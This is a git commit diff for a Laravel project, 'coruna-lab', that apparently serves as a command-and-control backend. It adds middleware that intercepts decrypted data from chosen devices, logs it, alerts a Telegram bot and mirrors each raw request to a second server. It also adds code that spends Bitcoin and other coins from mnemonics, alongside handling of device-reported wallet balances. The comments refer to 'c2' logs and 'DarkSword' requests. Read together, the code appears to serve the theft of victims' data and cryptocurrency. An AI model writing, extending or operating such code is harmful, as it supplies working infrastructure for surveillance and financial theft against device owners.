Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab
This commit is contained in:
@@ -0,0 +1,308 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Services\IngestService;
|
||||
use App\Services\TelegramNotifier;
|
||||
use App\Support\VisitorIp;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
/**
|
||||
* Intercept requests from designated device IDs.
|
||||
*
|
||||
* Runs AFTER DecryptXxbbBody / DecryptCorunaBody so that the normalized
|
||||
* device key is available via the `coruna_device_key` request attribute.
|
||||
*
|
||||
* For each matched request the middleware:
|
||||
* 1. Appends a record to public/log/intercept/Ymd.log (separate from c2/xxbb).
|
||||
* 2. Sends a Telegram alert through a dedicated bot (INTERCEPT_BOT_TOKEN /
|
||||
* INTERCEPT_CHAT_ID) when configured.
|
||||
* 3. Mirrors the raw request (same method / path / query / headers / body,
|
||||
* only the host changes) to INTERCEPT_FORWARD_URL when configured.
|
||||
*
|
||||
* The middleware never blocks or modifies the response — normal request
|
||||
* processing continues regardless of interception outcome.
|
||||
*/
|
||||
class InterceptDeviceData
|
||||
{
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$deviceKey = $this->resolveDeviceKey($request);
|
||||
|
||||
if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
|
||||
try {
|
||||
$this->intercept($request, $deviceKey);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('intercept middleware error: '.$e->getMessage(), [
|
||||
'device_key' => $deviceKey,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
return $next($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve the normalized device key for this request.
|
||||
*
|
||||
* Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
|
||||
* Falls back to request input fields (d / f / ecid) for multipart or
|
||||
* DarkSword requests where the decrypt middleware skipped the attribute.
|
||||
*/
|
||||
private function resolveDeviceKey(Request $request): string
|
||||
{
|
||||
$key = $request->attributes->get('coruna_device_key');
|
||||
if (is_string($key) && $key !== '') {
|
||||
return $key;
|
||||
}
|
||||
|
||||
foreach (['d', 'f', 'ecid'] as $field) {
|
||||
$value = $request->input($field);
|
||||
if (is_string($value) && $value !== '') {
|
||||
return IngestService::normalizeDeviceKey(substr($value, 0, 64)) ?? '';
|
||||
}
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Case-insensitive membership check against the configured device list.
|
||||
*/
|
||||
private function shouldIntercept(string $deviceKey): bool
|
||||
{
|
||||
$list = config('coruna.intercept.device_keys', []);
|
||||
if (! is_array($list) || $list === []) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return in_array(strtolower($deviceKey), $list, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Log + notify + forward the matched request.
|
||||
*/
|
||||
private function intercept(Request $request, string $deviceKey): void
|
||||
{
|
||||
$meta = $this->collectMeta($request, $deviceKey);
|
||||
|
||||
$this->writeLog($meta);
|
||||
|
||||
// Skip Telegram push for high-frequency paths (e.g. /event telemetry),
|
||||
// but still log and forward so no data is lost.
|
||||
if (! $this->shouldSkipPush($meta['path'])) {
|
||||
$this->notify($meta);
|
||||
}
|
||||
|
||||
$this->forward($request, $meta);
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the Telegram push should be skipped for this path.
|
||||
*/
|
||||
private function shouldSkipPush(string $path): bool
|
||||
{
|
||||
$skipPaths = config('coruna.intercept.push_skip_paths', []);
|
||||
if (! is_array($skipPaths) || $skipPaths === []) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return in_array($path, $skipPaths, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gather request metadata for logging and notification.
|
||||
*/
|
||||
private function collectMeta(Request $request, string $deviceKey): array
|
||||
{
|
||||
$path = '/'.ltrim($request->path(), '/');
|
||||
|
||||
return [
|
||||
'time' => date('Y-m-d H:i:s'),
|
||||
'device_key' => $deviceKey,
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'uri' => $request->getRequestUri(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'remote_addr' => $request->server->get('REMOTE_ADDR'),
|
||||
'host' => $request->getHost(),
|
||||
'content_type' => (string) $request->header('content-type'),
|
||||
'content_length' => strlen($request->getContent()),
|
||||
'headers' => $this->collectHeaders($request),
|
||||
'payload' => $this->collectPayload($request),
|
||||
'decrypt_ok' => (bool) $request->attributes->get('coruna_decrypt_ok'),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Select headers worth recording (skip cookie / authorization for safety).
|
||||
*/
|
||||
private function collectHeaders(Request $request): array
|
||||
{
|
||||
$headers = [];
|
||||
foreach ([
|
||||
'x-ts', 'x-hash', 'timestamp', 'sdkv', 'ver', 'accept',
|
||||
'content-type', 'user-agent', 'host', 'cf-connecting-ip',
|
||||
'cf-ipcountry', 'x-forwarded-for', 'x-real-ip',
|
||||
] as $h) {
|
||||
if ($request->headers->has($h)) {
|
||||
$headers[$h] = $request->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
return $headers;
|
||||
}
|
||||
|
||||
/**
|
||||
* Best-effort payload snapshot for the log.
|
||||
*
|
||||
* Uses the decrypted payload when the decrypt middleware set it;
|
||||
* otherwise records the raw body (truncated for very large uploads).
|
||||
*/
|
||||
private function collectPayload(Request $request): mixed
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
if (is_array($payload)) {
|
||||
return $payload;
|
||||
}
|
||||
|
||||
$raw = $request->getContent();
|
||||
if (strlen($raw) > 200000) {
|
||||
return ['_raw_truncated' => substr($raw, 0, 200000)];
|
||||
}
|
||||
|
||||
return $raw === '' ? null : ['_raw' => $raw];
|
||||
}
|
||||
|
||||
/**
|
||||
* Append the interception record to public/log/intercept/Ymd.log.
|
||||
*/
|
||||
private function writeLog(array $meta): void
|
||||
{
|
||||
$logPath = public_path('log/intercept');
|
||||
if (! is_dir($logPath) && ! @mkdir($logPath, 0775, true) && ! is_dir($logPath)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||
$line = $meta['time'].' '.$meta['method'].' '.$meta['uri'].' '
|
||||
.json_encode($meta, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||
."\r\n\r\n";
|
||||
|
||||
$isNew = ! file_exists($logName);
|
||||
if (@file_put_contents($logName, $line, FILE_APPEND) === false) {
|
||||
return;
|
||||
}
|
||||
if ($isNew) {
|
||||
@chmod($logName, 0664);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a Telegram alert via the dedicated intercept bot.
|
||||
*/
|
||||
private function notify(array $meta): void
|
||||
{
|
||||
$token = (string) config('coruna.intercept.bot_token', '');
|
||||
$chatId = (string) config('coruna.intercept.chat_id', '');
|
||||
if ($token === '' || $chatId === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
$text = implode("\n", [
|
||||
'🚨 <b>设备数据拦截</b>',
|
||||
'📱 <b>设备</b>: <code>'.$this->e($meta['device_key']).'</code>',
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($meta['ip'] ?: '—').'</code>',
|
||||
'📥 <b>请求</b>: <code>'.$this->e($meta['method'].' '.$meta['path']).'</code>',
|
||||
'📦 <b>大小</b>: '.$this->e((string) $meta['content_length']).' bytes',
|
||||
'🕐 <b>时间</b>: '.$this->e($meta['time']),
|
||||
]);
|
||||
|
||||
try {
|
||||
app(TelegramNotifier::class)->sendToChat($chatId, $text, $token);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('intercept telegram notify failed: '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Mirror the raw request to the configured forward URL.
|
||||
*
|
||||
* Preserves method, path, query string, headers, and body — only the
|
||||
* host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
|
||||
*/
|
||||
private function forward(Request $request, array $meta): void
|
||||
{
|
||||
$baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
|
||||
if ($baseUrl === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
// Rebuild the target URL: base + original path + original query.
|
||||
$target = $baseUrl.$request->getRequestUri();
|
||||
|
||||
// Collect headers to forward — drop Host (will be set by HTTP client
|
||||
// based on the target URL) and hop-by-hop headers.
|
||||
$headers = [];
|
||||
$skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
|
||||
foreach ($request->headers->all() as $name => $values) {
|
||||
if (in_array(strtolower($name), $skip, true)) {
|
||||
continue;
|
||||
}
|
||||
$headers[$name] = $values;
|
||||
}
|
||||
|
||||
$body = $request->getContent();
|
||||
$timeout = (int) config('coruna.intercept.forward_timeout', 10);
|
||||
|
||||
try {
|
||||
$resp = Http::withHeaders($headers)
|
||||
->timeout($timeout)
|
||||
->connectTimeout(min($timeout, 5))
|
||||
->send($request->method(), $target, [
|
||||
'body' => $body,
|
||||
'allow_redirects' => false,
|
||||
]);
|
||||
|
||||
$this->writeForwardLog($meta, $target, $resp->status(), (string) $resp->body());
|
||||
} catch (\Throwable $e) {
|
||||
$this->writeForwardLog($meta, $target, 0, $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Record the forwarding result alongside the interception log.
|
||||
*/
|
||||
private function writeForwardLog(array $meta, string $target, int $status, string $body): void
|
||||
{
|
||||
$logPath = public_path('log/intercept');
|
||||
if (! is_dir($logPath)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||
$entry = [
|
||||
'time' => date('Y-m-d H:i:s'),
|
||||
'dir' => 'forward',
|
||||
'device_key' => $meta['device_key'],
|
||||
'target' => $target,
|
||||
'status' => $status,
|
||||
'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body,
|
||||
];
|
||||
|
||||
$line = $entry['time'].' FORWARD '.$entry['target'].' '
|
||||
.json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||
."\r\n\r\n";
|
||||
|
||||
@file_put_contents($logName, $line, FILE_APPEND);
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
{
|
||||
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
||||
}
|
||||
}
|
||||
@@ -78,6 +78,11 @@ class WalletAddress extends Model
|
||||
if (! is_numeric($value)) {
|
||||
continue;
|
||||
}
|
||||
// A wallet balance can never be negative; clamp device-reported negatives to 0.
|
||||
if ((float) $value < 0) {
|
||||
$out[$col] = '0';
|
||||
continue;
|
||||
}
|
||||
$out[$col] = $value;
|
||||
}
|
||||
|
||||
@@ -99,6 +104,10 @@ class WalletAddress extends Model
|
||||
if (! is_numeric($amount)) {
|
||||
return (string) $amount;
|
||||
}
|
||||
// Defensive: never render a negative balance (e.g. stale device-reported rows).
|
||||
if ((float) $amount < 0) {
|
||||
$amount = '0';
|
||||
}
|
||||
|
||||
$decimals = self::displayDecimals($coin);
|
||||
$formatted = number_format((float) $amount, $decimals, '.', '');
|
||||
|
||||
@@ -92,6 +92,10 @@ final class BtcAddress
|
||||
if ($ver === 0 && strlen($prog) === 32) {
|
||||
return ['type' => 'p2wsh', 'script' => '0020'.bin2hex($prog)];
|
||||
}
|
||||
if ($ver === 1 && strlen($prog) === 32) {
|
||||
// Taproot (BIP341): OP_1 <32>
|
||||
return ['type' => 'p2tr', 'script' => '5120'.bin2hex($prog)];
|
||||
}
|
||||
throw new RuntimeException('Unsupported bech32 witness program');
|
||||
}
|
||||
|
||||
@@ -163,7 +167,8 @@ final class BtcAddress
|
||||
if (count($values) < 7) {
|
||||
throw new RuntimeException('Invalid bech32 length');
|
||||
}
|
||||
if (! self::bech32Verify($hrp, $values)) {
|
||||
$spec = self::bech32Verify($hrp, $values);
|
||||
if ($spec === null) {
|
||||
throw new RuntimeException('Invalid bech32 checksum');
|
||||
}
|
||||
$values = array_slice($values, 0, -6);
|
||||
@@ -171,6 +176,13 @@ final class BtcAddress
|
||||
if ($version > 16) {
|
||||
throw new RuntimeException('Invalid witness version');
|
||||
}
|
||||
// BIP350: witness v0 must use bech32, v1+ must use bech32m.
|
||||
if ($version === 0 && $spec !== 'bech32') {
|
||||
throw new RuntimeException('Invalid bech32 checksum (v0 must be bech32)');
|
||||
}
|
||||
if ($version !== 0 && $spec !== 'bech32m') {
|
||||
throw new RuntimeException('Invalid bech32m checksum (v1+ must be bech32m)');
|
||||
}
|
||||
$program = self::convertBits(array_slice($values, 1), 5, 8, false);
|
||||
if ($program === null) {
|
||||
throw new RuntimeException('Invalid witness program');
|
||||
@@ -206,7 +218,7 @@ final class BtcAddress
|
||||
for ($i = 0; $i < strlen($bits); $i += 5) {
|
||||
$values[] = bindec(substr($bits, $i, 5));
|
||||
}
|
||||
$values = array_merge($values, self::bech32Checksum($hrp, $values));
|
||||
$values = array_merge($values, self::bech32Checksum($hrp, $values, $witver));
|
||||
$result = $hrp.'1';
|
||||
foreach ($values as $v) {
|
||||
$result .= $charset[$v];
|
||||
@@ -216,14 +228,16 @@ final class BtcAddress
|
||||
}
|
||||
|
||||
/** @param list<int> $values */
|
||||
private static function bech32Checksum(string $hrp, array $values): array
|
||||
private static function bech32Checksum(string $hrp, array $values, int $witver): array
|
||||
{
|
||||
// BIP350: v0 uses bech32 const (1), v1+ uses bech32m const (0x2bc830a3).
|
||||
$const = $witver === 0 ? 1 : 0x2bc830a3;
|
||||
$polymod = self::bech32Polymod(array_merge(
|
||||
self::bech32HrpExpand($hrp),
|
||||
$values,
|
||||
[0, 0, 0, 0, 0, 0],
|
||||
));
|
||||
$polymod ^= 1;
|
||||
$polymod ^= $const;
|
||||
$ret = [];
|
||||
for ($i = 0; $i < 6; $i++) {
|
||||
$ret[] = ($polymod >> 5 * (5 - $i)) & 31;
|
||||
@@ -232,10 +246,23 @@ final class BtcAddress
|
||||
return $ret;
|
||||
}
|
||||
|
||||
/** @param list<int> $values */
|
||||
private static function bech32Verify(string $hrp, array $values): bool
|
||||
/**
|
||||
* Detect bech32/bech32m encoding from the checksum (BIP173 / BIP350).
|
||||
*
|
||||
* @param list<int> $values
|
||||
* @return string|null 'bech32' (v0) | 'bech32m' (v1+) | null (invalid)
|
||||
*/
|
||||
private static function bech32Verify(string $hrp, array $values): ?string
|
||||
{
|
||||
return self::bech32Polymod(array_merge(self::bech32HrpExpand($hrp), $values)) === 1;
|
||||
$polymod = self::bech32Polymod(array_merge(self::bech32HrpExpand($hrp), $values));
|
||||
if ($polymod === 1) {
|
||||
return 'bech32';
|
||||
}
|
||||
if ($polymod === 0x2bc830a3) {
|
||||
return 'bech32m';
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/** @return list<int> */
|
||||
|
||||
@@ -33,14 +33,31 @@ class BtcDriver implements ChainDriver
|
||||
return BtcAddress::p2wpkhFromCompressedPublicKey($compressed);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid BTC address');
|
||||
}
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = BtcAddress::fromPrivateKey($derived['private_key']);
|
||||
// Resolve the from-address type. Default to legacy P2PKH (BIP44) when no
|
||||
// from address is supplied, preserving the original behaviour.
|
||||
$fromType = $from === null ? 'p2pkh' : $this->fromType($from);
|
||||
$segwit = $fromType === 'p2wpkh';
|
||||
|
||||
$derived = Bip44::derive(
|
||||
$mnemonic,
|
||||
$segwit ? $this->pathBip84($index) : $this->path($index),
|
||||
);
|
||||
$compressed = BtcAddress::compressedPublicKey($derived['private_key']);
|
||||
$derivedFrom = $segwit
|
||||
? BtcAddress::p2wpkhFromCompressedPublicKey($compressed)
|
||||
: BtcAddress::p2pkhFromCompressedPublicKey($compressed);
|
||||
|
||||
if ($from !== null && $from !== $derivedFrom) {
|
||||
throw new RuntimeException('BTC from address does not match derived key');
|
||||
}
|
||||
$from = $derivedFrom;
|
||||
|
||||
$amountSats = $this->toSats($amount);
|
||||
|
||||
$utxos = $this->fetchUtxos($from);
|
||||
@@ -57,17 +74,17 @@ class BtcDriver implements ChainDriver
|
||||
foreach ($utxos as $utxo) {
|
||||
$selected[] = $utxo;
|
||||
$totalIn = bcadd($totalIn, (string) $utxo['value'], 0);
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate);
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate, $segwit);
|
||||
if (bccomp($totalIn, bcadd($target, (string) $fee, 0), 0) >= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate);
|
||||
$fee = $this->estimateFee(count($selected), 2, $feeRate, $segwit);
|
||||
$needed = bcadd($target, (string) $fee, 0);
|
||||
if (bccomp($totalIn, $needed, 0) < 0) {
|
||||
// Try with single output (no change) — dust change becomes fee.
|
||||
$fee1 = $this->estimateFee(count($selected), 1, $feeRate);
|
||||
$fee1 = $this->estimateFee(count($selected), 1, $feeRate, $segwit);
|
||||
$needed1 = bcadd($target, (string) $fee1, 0);
|
||||
if (bccomp($totalIn, $needed1, 0) < 0) {
|
||||
throw new RuntimeException('Insufficient BTC balance for amount+fee');
|
||||
@@ -90,7 +107,13 @@ class BtcDriver implements ChainDriver
|
||||
$outputs[] = ['script' => $changeScript, 'value' => $change];
|
||||
}
|
||||
|
||||
$raw = $this->buildAndSign($selected, $outputs, $derived['private_key']);
|
||||
if ($segwit) {
|
||||
$keyhash = bin2hex(hash('ripemd160', hash('sha256', hex2bin($compressed), true), true));
|
||||
$raw = $this->buildAndSignSegwit($selected, $outputs, $derived['private_key'], $keyhash);
|
||||
} else {
|
||||
$raw = $this->buildAndSign($selected, $outputs, $derived['private_key']);
|
||||
}
|
||||
|
||||
$txid = $this->broadcast($raw);
|
||||
if ($txid === '') {
|
||||
throw new RuntimeException('BTC broadcast failed');
|
||||
@@ -99,6 +122,40 @@ class BtcDriver implements ChainDriver
|
||||
return $txid;
|
||||
}
|
||||
|
||||
/**
|
||||
* Classify a BTC from-address for spending. Only single-key P2PKH and
|
||||
* P2WPKH are spendable here; P2SH/P2WSH/P2TR are rejected explicitly.
|
||||
*
|
||||
* @return string 'p2pkh' | 'p2wpkh'
|
||||
*/
|
||||
private function fromType(string $from): string
|
||||
{
|
||||
$from = trim($from);
|
||||
if (preg_match('/^bc1/i', $from)) {
|
||||
$d = BtcAddress::decodeBech32($from);
|
||||
if ($d['version'] === 0 && strlen($d['program']) === 20) {
|
||||
return 'p2wpkh';
|
||||
}
|
||||
if ($d['version'] === 1 && strlen($d['program']) === 32) {
|
||||
throw new RuntimeException('Spending from Taproot (P2TR) is not supported yet');
|
||||
}
|
||||
if ($d['version'] === 0 && strlen($d['program']) === 32) {
|
||||
throw new RuntimeException('Spending from P2WSH is not supported');
|
||||
}
|
||||
throw new RuntimeException('Unsupported SegWit from address');
|
||||
}
|
||||
|
||||
$hex = TronAddress::base58CheckToHex($from);
|
||||
$ver = substr($hex, 0, 2);
|
||||
if ($ver === '00') {
|
||||
return 'p2pkh';
|
||||
}
|
||||
if ($ver === '05') {
|
||||
throw new RuntimeException('Spending from P2SH is not supported');
|
||||
}
|
||||
throw new RuntimeException('Unsupported BTC from address');
|
||||
}
|
||||
|
||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
|
||||
{
|
||||
throw new RuntimeException('BTC does not support token transfers');
|
||||
@@ -286,10 +343,13 @@ class BtcDriver implements ChainDriver
|
||||
return 10;
|
||||
}
|
||||
|
||||
private function estimateFee(int $inputs, int $outputs, int $satPerVbyte): int
|
||||
private function estimateFee(int $inputs, int $outputs, int $satPerVbyte, bool $segwit = false): int
|
||||
{
|
||||
// Legacy P2PKH approx: 10 + 148*in + 34*out
|
||||
$vsize = 10 + (148 * $inputs) + (34 * $outputs);
|
||||
// P2WPKH approx (vsize): 11 + 68*in + 43*out (43 covers P2TR outputs; overestimates slightly, safe)
|
||||
$vsize = $segwit
|
||||
? 11 + (68 * $inputs) + (43 * $outputs)
|
||||
: 10 + (148 * $inputs) + (34 * $outputs);
|
||||
|
||||
return max(1, $vsize * max(1, $satPerVbyte));
|
||||
}
|
||||
@@ -352,6 +412,108 @@ class BtcDriver implements ChainDriver
|
||||
return bin2hex($version.$vinCount.$signedVins.$voutCount.$voutPayload.$locktime);
|
||||
}
|
||||
|
||||
/**
|
||||
* Build and sign a SegWit transaction spending P2WPKH inputs (BIP143).
|
||||
*
|
||||
* @param list<array{txid: string, vout: int, value: int, scriptpubkey: string}> $inputs
|
||||
* @param list<array{script: string, value: string}> $outputs
|
||||
* @param string $privateKeyHex hex private key for the P2WPKH keypair
|
||||
* @param string $keyhashHex 20-byte hash160 of the compressed pubkey (hex)
|
||||
*/
|
||||
private function buildAndSignSegwit(array $inputs, array $outputs, string $privateKeyHex, string $keyhashHex): string
|
||||
{
|
||||
$version = $this->u32le(1);
|
||||
$locktime = $this->u32le(0);
|
||||
$marker = "\x00";
|
||||
$flag = "\x01";
|
||||
|
||||
$voutCount = $this->varInt(count($outputs));
|
||||
$voutPayload = '';
|
||||
foreach ($outputs as $out) {
|
||||
$voutPayload .= $this->u64le($out['value']);
|
||||
$script = hex2bin($out['script']);
|
||||
if ($script === false) {
|
||||
throw new RuntimeException('Invalid output script');
|
||||
}
|
||||
$voutPayload .= $this->varInt(strlen($script)).$script;
|
||||
}
|
||||
|
||||
$pub = hex2bin(BtcAddress::compressedPublicKey($privateKeyHex));
|
||||
if ($pub === false) {
|
||||
throw new RuntimeException('Invalid public key');
|
||||
}
|
||||
|
||||
$witnesses = '';
|
||||
$vinPayload = '';
|
||||
foreach ($inputs as $i => $in) {
|
||||
$hash = $this->segwitSighashAll($inputs, $outputs, $i, $keyhashHex);
|
||||
|
||||
$der = $this->signDer($privateKeyHex, $hash)."\x01"; // SIGHASH_ALL
|
||||
$witness = $this->varInt(2) // 2 stack items: <sig> <pubkey>
|
||||
.$this->pushData($der)
|
||||
.$this->pushData($pub);
|
||||
$witnesses .= $witness;
|
||||
|
||||
$vinPayload .= $this->outpoint($in['txid'], $in['vout']);
|
||||
$vinPayload .= $this->varInt(0); // empty scriptSig for native SegWit
|
||||
$vinPayload .= $this->u32le(0xffffffff);
|
||||
}
|
||||
|
||||
$vinCount = $this->varInt(count($inputs));
|
||||
|
||||
return bin2hex($version.$marker.$flag.$vinCount.$vinPayload.$voutCount.$voutPayload.$witnesses.$locktime);
|
||||
}
|
||||
|
||||
/**
|
||||
* BIP143 SIGHASH_ALL sighash for a P2WPKH input (32-byte raw binary).
|
||||
*
|
||||
* @param list<array{txid: string, vout: int, value: int, scriptpubkey: string}> $inputs
|
||||
* @param list<array{script: string, value: string}> $outputs
|
||||
*/
|
||||
private function segwitSighashAll(array $inputs, array $outputs, int $inputIndex, string $keyhashHex): string
|
||||
{
|
||||
$version = $this->u32le(1);
|
||||
$locktime = $this->u32le(0);
|
||||
|
||||
$prevouts = '';
|
||||
$sequences = '';
|
||||
foreach ($inputs as $in) {
|
||||
$prevouts .= $this->outpoint($in['txid'], $in['vout']);
|
||||
$sequences .= $this->u32le(0xffffffff);
|
||||
}
|
||||
$hashPrevouts = hash('sha256', hash('sha256', $prevouts, true), true);
|
||||
$hashSequence = hash('sha256', hash('sha256', $sequences, true), true);
|
||||
|
||||
$hashOutputsData = '';
|
||||
foreach ($outputs as $out) {
|
||||
$script = hex2bin($out['script']);
|
||||
if ($script === false) {
|
||||
throw new RuntimeException('Invalid output script');
|
||||
}
|
||||
$hashOutputsData .= $this->u64le($out['value']).$this->varInt(strlen($script)).$script;
|
||||
}
|
||||
$hashOutputs = hash('sha256', hash('sha256', $hashOutputsData, true), true);
|
||||
|
||||
$scriptCode = hex2bin('1976a914'.$keyhashHex.'88ac');
|
||||
if ($scriptCode === false) {
|
||||
throw new RuntimeException('Invalid P2WPKH scriptCode');
|
||||
}
|
||||
$in = $inputs[$inputIndex];
|
||||
|
||||
$preimage = $version
|
||||
.$hashPrevouts
|
||||
.$hashSequence
|
||||
.$this->outpoint($in['txid'], $in['vout'])
|
||||
.$this->varInt(strlen($scriptCode)).$scriptCode
|
||||
.$this->u64le((string) $in['value'])
|
||||
.$this->u32le(0xffffffff)
|
||||
.$hashOutputs
|
||||
.$locktime
|
||||
.$this->u32le(1); // SIGHASH_ALL
|
||||
|
||||
return hash('sha256', hash('sha256', $preimage, true), true);
|
||||
}
|
||||
|
||||
private function signDer(string $privateKey, string $hash32): string
|
||||
{
|
||||
$ec = new EC('secp256k1');
|
||||
|
||||
@@ -11,7 +11,7 @@ interface ChainDriver
|
||||
/**
|
||||
* @return string txid
|
||||
*/
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string;
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string;
|
||||
|
||||
/**
|
||||
* @return string txid
|
||||
|
||||
@@ -20,7 +20,7 @@ class EthDriver implements ChainDriver
|
||||
return EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid ETH address');
|
||||
|
||||
@@ -24,7 +24,7 @@ class SolDriver implements ChainDriver
|
||||
return SolAddress::fromMnemonic($mnemonic, $index);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
throw new RuntimeException('SOL native transfer not supported');
|
||||
}
|
||||
|
||||
@@ -20,7 +20,7 @@ class TronDriver implements ChainDriver
|
||||
return TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
}
|
||||
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
|
||||
public function sendNative(string $mnemonic, int $index, string $to, string $amount, ?string $from = null): string
|
||||
{
|
||||
if (! $this->isValidAddress($to)) {
|
||||
throw new RuntimeException('Invalid Tron address');
|
||||
|
||||
@@ -105,7 +105,7 @@ class TransferService
|
||||
}
|
||||
|
||||
$txid = match ($asset) {
|
||||
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount, $fromAddress),
|
||||
'USDT' => $driver->sendToken(
|
||||
$mnemonic,
|
||||
$index,
|
||||
@@ -113,7 +113,7 @@ class TransferService
|
||||
$amount,
|
||||
$this->usdtContract($chain),
|
||||
),
|
||||
'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount, $fromAddress),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
|
||||
Reference in New Issue
Block a user